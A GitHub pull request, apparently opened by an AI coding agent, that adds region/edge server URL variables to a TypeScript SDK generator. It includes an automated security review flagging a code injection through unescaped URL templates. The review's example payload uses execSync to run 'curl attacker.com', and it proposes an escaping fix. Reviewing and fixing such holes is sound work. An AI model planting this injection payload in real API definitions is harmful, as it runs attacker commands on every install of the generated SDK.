feat(typescript): support server URL variables (region/edge routing)#16977
feat(typescript): support server URL variables (region/edge routing)#16977devin-ai-integration[bot] wants to merge 6 commits into
Conversation
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
🤖 Devin AI EngineerI'll be helping with this pull request! Here's what you should know: ✅ I will automatically:
Note: I can only respond to comments from users who have write access to this repository. ⚙️ Control Options:
|
| for (const { variable, localName } of options) { | ||
| result = result.split(`{${variable.id}}`).join(`\${${localName}}`); | ||
| } | ||
| return `\`${result}\``; |
There was a problem hiding this comment.
Code injection via unescaped IR URL template in generated TypeScript template literal
In urlTemplateToTemplateLiteral (serverVariables.ts line 101), the template string sourced directly from the IR's urlTemplate/urlTemplates field is placed verbatim between backticks to form a TypeScript template literal — no escaping of ` characters or ${…} sequences is performed.
A crafted urlTemplate value such as:
https://api.{region}.example.com`; require('child_process').execSync('curl attacker.com'); `
produces the following in the generated BaseClient.ts:
baseUrl = `https://api.${_region}.example.com`; require('child_process').execSync('curl attacker.com'); ``;The injection runs at module load time in every application that installs the generated SDK. Similarly, a template containing ${process.env.SECRET} leaks host environment variables into the constructed URL without any user opt-in.
The IR urlTemplate originates from API definitions that may be imported from external OpenAPI specs or submitted through automated pipelines, making the attack viable without direct author intent.
Prompt To Fix With AI
In `urlTemplateToTemplateLiteral`, before wrapping `result` in backticks, escape every backtick and every `${` sequence that is already present in the static portions of the template (i.e. those that were not introduced by the variable substitution step).
Safe approach — escape first, then substitute:
```typescript
export function urlTemplateToTemplateLiteral(template: string, options: ServerVariableOption[]): string {
// 1. Split the template on all known variable placeholders.
// We will escape the static segments and re-join with the TS interpolations.
// Build a regex that matches any placeholder: {id1}|{id2}|...
if (options.length === 0) {
const escaped = template.replace(/`/g, "\\`").replace(/\$\{/g, "\\${");
return `\`${escaped}\``;
}
const placeholders = options.map(({ variable }) => `\\{${escapeRegex(variable.id)}\\}`);
const splitter = new RegExp(`(${placeholders.join("|")})`);
const parts = template.split(splitter);
// Build a lookup from placeholder text → TS interpolation.
const lookup = new Map(options.map(({ variable, localName }) => [`{${variable.id}}`, `\${${localName}}`]));
const rendered = parts.map((part) => {
if (lookup.has(part)) {
return lookup.get(part)!; // already-safe TS expression
}
// Static segment: escape backticks and existing ${ sequences.
return part.replace(/`/g, "\\`").replace(/\$\{/g, "\\${");
});
return `\`${rendered.join("")}\``;
}
function escapeRegex(s: string): string {
return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
}
```
Also validate (or at least log a warning) in `getServerVariableInterpolation` when `urlTemplateToTemplateLiteral` is called, ensuring the resulting literal is a syntactically complete template literal before embedding it in the generated function body.Severity: high | Confidence: 90% | React with 👍 if useful or 👎 if not
SDK Generation Benchmark ResultsComparing PR branch against median of 5 nightly run(s) on Full benchmark table (click to expand)
main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via |
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Docs Generation Benchmark ResultsComparing PR branch against median of 5 nightly run(s) on
Docs generation runs |
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
…dk-server-url-variables
…dk-server-url-variables Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
…dk-server-url-variables
Description
Adds server URL variable (region/edge) support to the TypeScript SDK generator, bringing it to parity with the Python and Java generators. Previously the TS generator ignored the IR's
EnvironmentsConfig.urlTemplate/urlVariables, so a generated TS SDK could not select a region/edge for data-residency routing.This is the first of several PRs rolling the feature out across the remaining in-scope generators (Go, .NET, PHP, Ruby).
How it works (mirrors Python/Java)
Server variables defined on the API's environments are exposed as optional string options on the client, and interpolated into the base URL(s) at request time. Reserved option names are de-collided with a
serverUrlprefix (e.g. a variable namedenvironment→serverUrlEnvironment).Generated
BaseClientOptions(fixtureserver-url-templating):Generated interpolation inside
normalizeClientOptions(multiple base URLs case):For a single-base-url API the same guard sets
baseUrlfrom the environment'surlTemplate.Changes Made
serverVariables.tsinclient-class-generator: collectsServerVariables from the IR environments (single + multiple base URL), dedups by id, maps each to an option name (with reserved-name de-collision), and provides a template→template-literal helper.BaseClientTypeGenerator.ts: emits the interpolation block insidenormalizeClientOptions, rebuildingbaseUrl(single) or theenvironmentURL object (multiple) when any server variable is supplied; falls back to each variable's default.BaseClientContextImpl.ts: exposes each server variable as an optionalstringproperty onBaseClientOptions, with docs listing allowed values / default.client-class-generator/src/index.ts.server-url-templatingfixture toseed/ts-sdk/seed.ymland regenerated the seed output underseed/ts-sdk/server-url-templating/no-custom-config/.feat).Testing
BaseClientTypeGeneratorcases for no-environments, multiple-base-url, and single-base-url interpolation (incl. reserved-name collision). Full package suites green (sdk-client-class-generator: 558 tests,sdk-generator: 158 tests).seed test --generator ts-sdk --fixture server-url-templating --localpasses and validator verification succeeds; inspected generatedBaseClient.ts/environments.ts/Client.ts.Server URL variable validation
Server URL variable validation: Region/environment values are interpolated into the URL template verbatim. Values are NOT validated against the declared allowed values (
enum) — passing an unknown value (e.g.region="mars") simply produceshttps://api.mars.<...>rather than raising. This matches the existing Python and Java generator behavior for server URL variables.Link to Devin session: https://app.devin.ai/sessions/c3ddfc2bb3b04f9a9e2977e756158dee
Requested by: @cadesark